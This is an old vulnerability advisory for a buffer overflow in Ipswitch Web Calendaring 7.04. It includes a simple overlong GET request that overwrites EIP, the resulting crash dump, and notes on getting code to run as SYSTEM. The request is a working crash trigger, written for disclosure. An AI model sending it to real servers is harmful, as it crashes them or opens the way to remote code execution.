             Ipswitch Web Calendaring 7.04 Buffer Overflow

    Author: Andreas Junestam <andreasdefcom.com>
    Release Date: 2001-10-12
    ------------------------=[Brief Description]=-------------------------
    When sending a request to the Web Calender (port 8484) longer than 97
    bytes, a overflow will occur and EIP will be overwritten.

    ------------------------=[Affected Systems]=--------------------------
    - Ipswitch Web Calendaring 7.04 and possibly earlier versions

    ----------------------=[Detailed Description]=------------------------
    Sending a request like:
    GET /'A' x 96 HTTP/1.0

    Access violation - code c0000005 (first chance)
    eax=07777101 ebx=00c338d8 ecx=016f99ec edx=016f99ec esi=0000007e
    edi=00000000 eip=61616161 esp=016f99fc ebp=61616161
    61616161 ?? ???

    This leaves us with the possibility to run code as SYSTEM. Mind though,
    the server does a ToLower on the buffer BEFORE the overflow occours,
    limiting the number of instructions we can use.
